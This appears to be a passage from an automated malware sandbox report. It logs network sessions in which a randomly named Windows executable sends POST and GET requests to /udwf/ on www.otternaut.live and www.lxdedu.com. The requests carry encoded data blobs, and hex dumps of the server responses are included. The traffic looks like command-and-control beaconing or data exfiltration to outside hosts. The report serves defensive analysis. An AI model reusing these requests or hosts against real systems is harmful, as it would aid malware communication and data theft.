58 52 2b 68 7a 69 63 4c 6e 39 4f 6d 2f 47 56 42 4e 54 76 54 73 6d 4b 50 36 2f 32 49 75 4a 75 31 50 75 78 48 67 4e 33 6f 57 6c 59 41 65 6b 51 4a 70 64 48 45 34 69 59 74 53 50 62 67 7a 66 4e 71 43 76 4e 33 6b 3d Data Ascii: G0Yxd2Q=kbQnce+vuQ4lECBdDixvGvnUS3qNfJWq+4DvXv7/6VoK+sT1UhuVS8Pv+yI/qYbCj9rnq4smSINyCZar+zqVSyf6JHJeEmOj3m2vc/JCbpWY0oVRLnMAMBWT9Epuecdg5aXR+hzicLn9Om/GVBNTvTsmKP6/2IuJu1PuxHgN3oWlYAekQJpdHE4iYtSPbgzfNqCvN3k=
Nov 10, 2023 09:29:02.832225084 CET	213	IN	HTTP/1.1 405 Not Allowed date: Fri, 10 Nov 2023 08:29:02 GMT content-type: text/html content-length: 154 server: NginX connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.10	49738	91.195.240.19	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:29:05.356878042 CET	215	OUT	POST /udwf/ HTTP/1.1 Host: www.otternaut.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.otternaut.live Referer: http://www.otternaut.live/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 1220 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 6b 62 51 6e 63 65 2b 76 75 51 34 6c 45 43 42 64 44 69 78 76 47 76 6e 55 53 33 71 4e 66 4a 57 71 2b 34 44 76 58 76 37 2f 36 56 77 4b 35 66 4c 31 47 51 75 56 52 38 50 76 33 53 4a 34 71 59 62 50 6a 38 43 75 71 34 68 54 53 4c 6c 79 45 4d 47 72 71 53 71 56 64 79 66 36 55 58 4a 66 41 6d 50 68 33 6e 47 52 63 2f 5a 43 62 70 57 59 30 71 64 52 64 47 4d 41 42 68 57 63 2b 45 70 59 49 73 64 49 35 65 79 71 2b 68 33 55 64 37 48 39 58 47 76 47 5a 53 31 54 74 7a 73 65 5a 2f 36 5a 32 49 79 57 75 31 54 4d 78 47 6b 72 33 75 6d 6c 64 6d 66 7a 46 64 5a 4a 63 47 55 4b 62 2b 53 74 4c 56 79 73 55 62 71 2f 4f 41 2f 30 77 78 64 6d 61 49 41 4f 31 76 2b 79 65 6f 5a 39 31 65 50 58 4d 33 68 41 74 49 41 4a 42 58 48 67 73 59 47 76 6a 4f 53 61 30 74 71 45 32 39 4d 47 56 72 4f 59 7a 32 77 68 66 30 79 62 44 4c 42 2f 4b 6c 64 6f 65 56 44 72 4a 6a 78 71 6f 70 55 51 55 6b 53 76 76 59 6f 4e 4b 6e 77 4a 39 6e 6c 71 42 61 45 48 73 31 52 4a 6a 75 36 64 4f 45 47 55 75 71 67 52 54 33 71 30 73 52 6e 4a 4e 39 38 44 2f 33 44 6c 65 61 79 79 37 42 75 34 5a 31 4a 36 72 57 35 45 44 54 70 6a 45 37 4d 4e 4d 71 63 36 37 69 4a 37 34 52 31 30 44 57 2f 6d 30 62 45 36 74 5a 2f 63 48 75 56 44 4f 6b 61 34 37 6b 79 6d 6b 6f 62 42 6c 31 74 30 71 62 50 68 72 43 4a 54 37 71 4a 2b 50 2f 33 36 2f 51 4e 56 78 4b 65 36 45 44 73 74 65 72 36 55 53 53 2f 35 61 71 49 69 4c 6e 33 46 53 76 49 58 4d 67 61 65 76 4f 43 42 31 57 4f 62 68 64 4a 4c 59 67 75 55 6a 4c 36 50 7a 4b 58 64 47 77 46 57 78 35 37 72 63 2b 66 68 55 46 74 66 61 31 4f 71 77 2b 49 75 6d 70 32 51 77 33 4c 34 58 46 76 4d 43 74 65 61 57 32 5a 79 42 65 51 71 30 50 53 35 4a 73 63 68 50 64 78 4b 41 57 55 4f 69 54 7a 76 4c 43 72 47 4d 44 4c 50 71 6c 7a 39 33 45 49 51 4b 4b 41 45 68 52 30 78 35 7a 6c 36 45 4b 75 6e 58 52 39 47 53 63 4f 64 6e 33 77 34 73 6d 46 6c 38 73 37 4c 49 6b 66 78 61 68 69 7a 72 72 4e 36 2b 72 33 51 6d 37 68 71 50 34 78 6e 63 57 46 69 39 57 77 5a 65 32 68 2f 66 78 66 73 7a 64 61 2b 71 57 56 55 59 75 46 51 34 34 46 70 61 33 75 6a 6b 58 70 77 36 78 50 79 72 35 37 2f 39 43 7a 38 6a 46 2b 55 54 69 2b 66 4e 50 42 77 76 54 44 78 45 58 37 4e 78 44 53 71 75 39 50 7a 53 46 51 49 5a 45 65 74 52 76 2f 50 57 5a 37 63 46 6a 50 71 65 36 2f 45 30 4b 72 7a 63 78 41 36 67 46 39 33 51 41 34 64 34 2b 36 76 56 33 69 52 4b 54 64 62 64 56 51 47 71 52 76 48 71 63 62 57 37 44 68 6b 71 6e 72 48 64 62 70 6b 79 31 48 36 34 4b 52 49 51 32 56 4b 41 74 55 65 48 6a 71 55 68 50 44 4e 4f 31 6a 6c 77 56 2b 43 70 78 48 54 70 35 71 4c 34 51 67 54 71 47 30 71 34 6d 38 4b 57 57 64 32 43 4b 53 6c 4c 4b 51 52 42 4f 64 7a 50 39 64 70 61 54 49 55 6b 37 71 45 65 79 65 44 6d 41 37 76 61 5a 4b 59 57 31 2b 38 4a 36 79 73 64 34 6c 53 4c 33 78 63 75 31 43 62 52 38 66 4a 73 35 4d 71 38 43 32 33 72 6c 39 57 50 6a 54 75 4c 2b 39 67 59 6c 33 69 6d 2b 74 5a 58 52 66 4a 46 41 57 39 65 70 6a 58 30 6b 46 37 76 75 61 71 67 6c 4c 56 47 62 75 66 47 4a 74 7a 32 52 4b 4d 2b 45 61 54 4a 57 41 73 75 57 49 6b 2f 4c 39 43 58 62 35 50 48 78 55 66 62 30 42 79 56 4f 30 46 7a 49 6b 44 69 73 63 69 70 6d 4d 2b 44 72 34 4a 6f 78 2f 57 55 6a 4f 41 77 4f 47 61 53 44 76 4d 61 41 37 76 35 4b 50 55 57 44 4b 74 6d 2b 71 6b 4c 4c 69 7a 71 73 78 70 57 47 6f 51 37 41 4c 6b 58 6a 57 51 64 49 4a 6e 35 57 62 42 7a 6f 6e 46 2f 58 78 4d 32 63 4e 50 36 41 44 47 77 58 71 63 59 46 69 73 41 30 6b 55 38 77 67 2b 37 41 74 66 38 51 5a 4f 78 74 6b 54 70 70 58 65 56 2f 74 68 31 65 56 61 2f 76 43 5a 36 35 41 30 2b 2f 47 65 4e 52 54 76 77 4e 77 53 47 52 33 78 6d 42 67 61 5a 2f 53 6b 52 62 36 4c 6a 35 49 69 62 2f 4d 53 73 52 56 56 4c 39 46 4c 59 30 41 35 65 5a 33 73 67 35 4e 66 43 4c 70 50 77 36 4f 48 65 4e 36 6c 4f 4c 61 5a 31 6e 59 2f 55 6a 59 34 55 79 69 7a Data Ascii: G0Yxd2Q=kbQnce+vuQ4lECBdDixvGvnUS3qNfJWq+4DvXv7/6VwK5fL1GQuVR8Pv3SJ4qYbPj8Cuq4hTSLlyEMGrqSqVdyf6UXJfAmPh3nGRc/ZCbpWY0qdRdGMABhWc+EpYIsdI5eyq+h3Ud7H9XGvGZS1TtzseZ/6Z2IyWu1TMxGkr3umldmfzFdZJcGUKb+StLVysUbq/OA/0wxdmaIAO1v+yeoZ91ePXM3hAtIAJBXHgsYGvjOSa0tqE29MGVrOYz2whf0ybDLB/KldoeVDrJjxqopUQUkSvvYoNKnwJ9nlqBaEHs1RJju6dOEGUuqgRT3q0sRnJN98D/3Dleayy7Bu4Z1J6rW5EDTpjE7MNMqc67iJ74R10DW/m0bE6tZ/cHuVDOka47kymkobBl1t0qbPhrCJT7qJ+P/36/QNVxKe6EDster6USS/5aqIiLn3FSvIXMgaevOCB1WObhdJLYguUjL6PzKXdGwFWx57rc+fhUFtfa1Oqw+Iump2Qw3L4XFvMCteaW2ZyBeQq0PS5JschPdxKAWUOiTzvLCrGMDLPqlz93EIQKKAEhR0x5zl6EKunXR9GScOdn3w4smFl8s7LIkfxahizrrN6+r3Qm7hqP4xncWFi9WwZe2h/fxfszda+qWVUYuFQ44Fpa3ujkXpw6xPyr57/9Cz8jF+UTi+fNPBwvTDxEX7NxDSqu9PzSFQIZEetRv/PWZ7cFjPqe6/E0KrzcxA6gF93QA4d4+6vV3iRKTdbdVQGqRvHqcbW7DhkqnrHdbpky1H64KRIQ2VKAtUeHjqUhPDNO1jlwV+CpxHTp5qL4QgTqG0q4m8KWWd2CKSlLKQRBOdzP9dpaTIUk7qEeyeDmA7vaZKYW1+8J6ysd4lSL3xcu1CbR8fJs5Mq8C23rl9WPjTuL+9gYl3im+tZXRfJFAW9epjX0kF7vuaqglLVGbufGJtz2RKM+EaTJWAsuWIk/L9CXb5PHxUfb0ByVO0FzIkDiscipmM+Dr4Jox/WUjOAwOGaSDvMaA7v5KPUWDKtm+qkLLizqsxpWGoQ7ALkXjWQdIJn5WbBzonF/XxM2cNP6ADGwXqcYFisA0kU8wg+7Atf8QZOxtkTppXeV/th1eVa/vCZ65A0+/GeNRTvwNwSGR3xmBgaZ/SkRb6Lj5Iib/MSsRVVL9FLY0A5eZ3sg5NfCLpPw6OHeN6lOLaZ1nY/UjY4Uyiz
Nov 10, 2023 09:29:05.666801929 CET	216	IN	HTTP/1.1 405 Not Allowed date: Fri, 10 Nov 2023 08:29:05 GMT content-type: text/html content-length: 154 server: NginX connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.10	49739	91.195.240.19	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:29:09.030483961 CET	217	OUT	GET /udwf/?G0Yxd2Q=pZ4HfquroA03Gi5vNwF4ItLuSTGmPoiR8InmRf339X8P+rCcKVr0Urjn620xlb/Iiubkhpo0DqZ1bcej5UiuLGGOXANOCS2GgQ==&vhQT=aV8PeNo0MvDl1 HTTP/1.1 Host: www.otternaut.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Nov 10, 2023 09:29:09.401205063 CET	218	IN	HTTP/1.1 200 OK date: Fri, 10 Nov 2023 08:29:09 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding x-powered-by: PHP/8.1.17 expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_IJ6FVAJhvltVWAuToP4oL4atM71fkzPY7QYrgWTQ/RoOG0ccJaLLTy6N9einZpywHDc0RBAe9H6fep8xyV5umg== last-modified: Fri, 10 Nov 2023 08:29:09 GMT x-cache-miss-from: parking-698fb476bf-xqxcz server: NginX connection: close Data Raw: 32 43 45 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 49 4a 36 46 56 41 4a 68 76 6c 74 56 57 41 75 54 6f 50 34 6f 4c 34 61 74 4d 37 31 66 6b 7a 50 59 37 51 59 72 67 57 54 51 2f 52 6f 4f 47 30 63 63 4a 61 4c 4c 54 79 36 4e 39 65 69 6e 5a 70 79 77 48 44 63 30 52 42 41 65 39 48 36 66 65 70 38 78 79 56 35 75 6d 67 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 6f 74 74 65 72 6e 61 75 74 2e 6c 69 76 65 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 6f 74 74 65 72 6e 61 75 74 20 52 65 73 6f 75 72 63 65 73 20 61 6e 64 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 74 74 65 72 6e 61 75 74 2e 6c 69 76 65 20 69 73 20 79 6f 75 72 20 66 69 72 73 74 20 61 6e 64 20 62 65 73 74 20 73 6f 75 72 63 65 20 66 6f 72 20 61 6c 6c 20 6f 66 20 74 68 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 79 6f 75 e2 80 99 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 20 46 72 6f 6d 20 67 65 6e 65 Data Ascii: 2CE<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_IJ6FVAJhvltVWAuToP4oL4atM71fkzPY7QYrgWTQ/RoOG0ccJaLLTy6N9einZpywHDc0RBAe9H6fep8xyV5umg==><head><meta charset="utf-8"><title>otternaut.live - otternaut Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="otternaut.live is your first and best source for all of the information youre looking for. From gene
Nov 10, 2023 09:29:09.401220083 CET	219	IN	Data Raw: 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d 6f 72 65 20 6f 66 20 77 68 61 74 20 79 6f 75 20 77 6f 75 6c 64 20 65 78 70 65 63 74 20 74 6f 20 66 69 6e 64 20 68 65 72 65 2c 20 6f 74 74 65 72 6e 61 75 74 2e 6c 69 76 65 20 68 61 73 20 69 74 20 61 6c Data Ascii: ral topics to more of what you would expect to find here, otternaut.live has it all. We hope you find whatAEC you are searching for!"><link rel="icon" type="image/png" href="//img.sedoparking.com/templates/logos/sed
Nov 10, 2023 09:29:09.401278973 CET	220	IN	Data Raw: 6c 61 79 3a 62 6c 6f 63 6b 7d 61 75 64 69 6f 2c 63 61 6e 76 61 73 2c 76 69 64 65 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 2a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 2a 7a 6f 6f 6d 3a 31 7d 61 75 64 69 6f 3a 6e 6f Data Ascii: lay:block}audio,canvas,video{display:inline-block;display:inline;zoom:1}audio:not([controls]){display:none;height:0}[hidden]{display:none}html{font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}html,button,input,select,te
Nov 10, 2023 09:29:09.401290894 CET	222	IN	Data Raw: 64 64 65 6e 7d 66 69 67 75 72 65 7b 6d 61 72 67 69 6e 3a 30 7d 66 6f 72 6d 7b 6d 61 72 67 69 6e 3a 30 7d 66 69 65 6c 64 73 65 74 7b 62 6f 72 64 65 72 3a 30 20 6e 6f 6e 65 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 6c 65 67 65 6e Data Ascii: dden}figure{margin:0}form{margin:0}fieldset{border:0 none;margin:0;padding:0}legend{border:0;padding:0;white-space:normal;margin-left:-7px}button,input,select,textarea{font-size:100%;margin:0;vertical-align:middle;vertical-align:middle}butto
Nov 10, 2023 09:29:09.401300907 CET	223	IN	Data Raw: 74 68 3a 31 30 30 25 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 7d 2e 6e 63 2d 63 6f 6e 74 61 69 6e 65 72 20 73 70 61 6e 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 65 6c 2c 73 61 6e Data Ascii: th:100%;text-align:center;margin-top:10px}.nc-container span{font-family:Ariel,sans-serif;font-size:16px;color:#888}.content-disclaimer{font-size:10px}.content-disclaimer .sedologo{float:left;padding:0 10px 0 0}.content-disclaimer a:link,.cont
Nov 10, 2023 09:29:09.401314974 CET	224	IN	Data Raw: 2d 63 6f 6f 6b 69 65 2d 6d 65 73 73 61 67 65 20 70 2c 23 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6f 6b 69 65 2d 6d 65 73 73 61 67 65 20 61 7b 63 6f 6c 6f 72 3a 23 61 30 61 30 61 30 7d 23 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6f 6b 69 65 2d 6d 65 73 73 Data Ascii: -cookie-message p,#container-cookie-message a{color:#a0a0a0}#container-cookie-message p{margin-left:5%;margin-right:5%}.content-buybox{background:linear-gradient(to bottom, #666666 0%, #010101 100%);border-bottom:1px solid #ccc;word-wrap:break
Nov 10, 2023 09:29:09.401326895 CET	225	IN	Data Raw: 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 7b 70 61 64 64 69 6e 67 3a 37 70 78 20 30 7d 2e 63 6f 6e 74 65 6e 74 2d 77 65 62 61 72 63 68 69 76 65 20 64 69 76 20 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 20 68 33 7b 66 6f 6e 74 2d Data Ascii: .webarchive-block{padding:7px 0}.content-webarchive div .webarchive-block h3{font-weight:bold}.content-webarchive div .webarchive-block h3 a:link,.content-webarchive div .webarchive-block h3 a:visited{text-decoration:none}.content-webarchive d
Nov 10, 2023 09:29:09.401427031 CET	227	IN	Data Raw: 31 30 36 32 0d 0a 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 31 30 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 31 30 70 78 7d 2e 63 6f 6e 74 65 6e 74 2d 77 65 62 61 72 63 68 69 76 65 20 64 69 76 20 Data Ascii: 1062r-top-left-radius:10px;border-top-right-radius:10px}.content-webarchive div .webarchive-block ul li{border-right:1px solid #ccc;border-bottom:1px solid #ccc;border-left:1px solid #ccc}.content-webarchive div .webarchive-block ul li:last-
Nov 10, 2023 09:29:09.401438951 CET	228	IN	Data Raw: 63 63 7d 2e 63 6f 6e 74 65 6e 74 2d 72 65 6c 61 74 65 64 6c 69 6e 6b 73 20 75 6c 20 61 3a 6c 69 6e 6b 2c 2e 63 6f 6e 74 65 6e 74 2d 72 65 6c 61 74 65 64 6c 69 6e 6b 73 20 75 6c 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 39 66 64 38 30 Data Ascii: cc}.content-relatedlinks ul a:link,.content-relatedlinks ul a:visited{color:#9fd801}.content-relatedlinks ul a:hover,.content-relatedlinks ul a:active,.content-relatedlinks ul a:focus{color:#e57921}.content-relatedlinks ul p{color:#c1c1c1}.con
Nov 10, 2023 09:29:09.401449919 CET	229	IN	Data Raw: 69 76 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 20 68 33 20 61 3a 61 63 74 69 76 65 2c 2e 63 6f 6e 74 65 6e 74 2d 77 65 62 61 72 63 68 69 76 65 20 64 69 76 20 64 69 76 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 20 68 33 20 61 3a Data Ascii: iv.webarchive-block h3 a:active,.content-webarchive div div.webarchive-block h3 a:focus,.content-webarchive div div.webarchive-block h3 a:hover{color:#e57921;text-decoration:none}.content-webarchive div div.webarchive-block ul li a:link,.conte
Nov 10, 2023 09:29:09.708133936 CET	231	IN	Data Raw: 2d 61 64 73 20 75 6c 20 6c 69 7b 70 61 64 64 69 6e 67 3a 2e 36 65 6d 20 30 7d 2e 63 6f 6e 74 65 6e 74 2d 61 64 73 20 75 6c 20 6c 69 3a 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 75 72 6c 28 22 2f 2f 69 6d 67 2e 73 65 64 6f 70 61 72 6b 69 6e Data Ascii: -ads ul li{padding:.6em 0}.content-ads ul li::before{content:url("//img.sedoparking.com/templates/brick_gfx/1006/bullet_lime.gif");float:left;padding:3px 8px 0 6px}.content-ads ul li div{padding-left:35px}.content-ads ul li div h3 a{font-size:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.10	49740	168.76.252.99	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:29:15.508759022 CET	248	OUT	POST /udwf/ HTTP/1.1 Host: www.lxdedu.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.lxdedu.com Referer: http://www.lxdedu.com/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 188 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 37 4e 4d 48 6d 50 5a 6e 39 49 6f 6a 54 66 50 6d 58 52 65 4c 46 69 4d 4f 79 46 48 73 64 47 74 43 58 72 56 35 6b 6f 79 66 6c 73 6d 69 6d 69 48 7a 79 49 59 5a 78 76 79 6c 6f 61 54 7a 6d 32 35 2f 6f 53 77 30 33 32 41 42 45 47 48 58 38 31 32 62 55 6a 66 33 74 44 66 49 70 73 54 4d 46 34 73 69 51 5a 4f 68 67 39 70 4f 4d 76 6d 45 65 48 59 2b 63 71 41 31 78 6b 48 34 31 75 71 62 70 77 6a 32 57 64 36 4b 73 69 61 37 41 59 6b 6a 4d 5a 45 70 7a 50 6b 37 64 36 39 67 73 66 41 42 74 33 67 62 50 75 6f 47 6b 33 55 4c 6d 6b 46 74 62 6f 6a 76 5a 41 3d 3d Data Ascii: G0Yxd2Q=7NMHmPZn9IojTfPmXReLFiMOyFHsdGtCXrV5koyflsmimiHzyIYZxvyloaTzm25/oSw032ABEGHX812bUjf3tDfIpsTMF4siQZOhg9pOMvmEeHY+cqA1xkH41uqbpwj2Wd6Ksia7AYkjMZEpzPk7d69gsfABt3gbPuoGk3ULmkFtbojvZA==
Nov 10, 2023 09:29:15.864568949 CET	248	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 Date: Fri, 10 Nov 2023 08:29:13 GMT Connection: close Content-Length: 596 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 76 61 72 20 4c 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2c 44 3d 64 6f 63 75 6d 65 6e 74 2c 61 3d 4c 2e 70 61 74 68 6e 61 6d 65 2c 62 3d 22 22 2c 63 3d 22 2f 22 2c 64 3d 22 6c 65 6e 67 74 68 22 3b 0d 0a 61 3d 61 2e 73 70 6c 69 74 28 63 29 3b 0d 0a 66 6f 72 28 76 61 72 20 69 3d 31 3b 69 3c 61 5b 64 5d 2d 32 3b 69 2b 2b 29 7b 62 2b 3d 63 2b 61 5b 69 5d 3b 7d 0d 0a 62 2b 3d 63 3b 0d 0a 44 2e 77 72 69 74 65 28 22 42 61 63 6b 20 74 6f 20 3c 61 20 68 72 65 66 3d 5c 22 22 2b 62 2b 22 5c 22 3e 22 2b 4c 2e 68 6f 73 74 2b 62 2b 22 3c 2f 61 3e 20 2c 20 77 61 69 74 69 6e 67 2e 2e 2e 2e 2e 22 29 3b 0d 0a 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 4c 2e 68 72 65 66 3d 62 3b 7d 2c 22 32 30 30 22 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>404 - </title></head><body><script type="text/javascript">var L=window.location,D=document,a=L.pathname,b="",c="/",d="length";a=a.split(c);for(var i=1;i<a[d]-2;i++){b+=c+a[i];}b+=c;D.write("Back to <a href=\""+b+"\">"+L.host+b+"</a> , 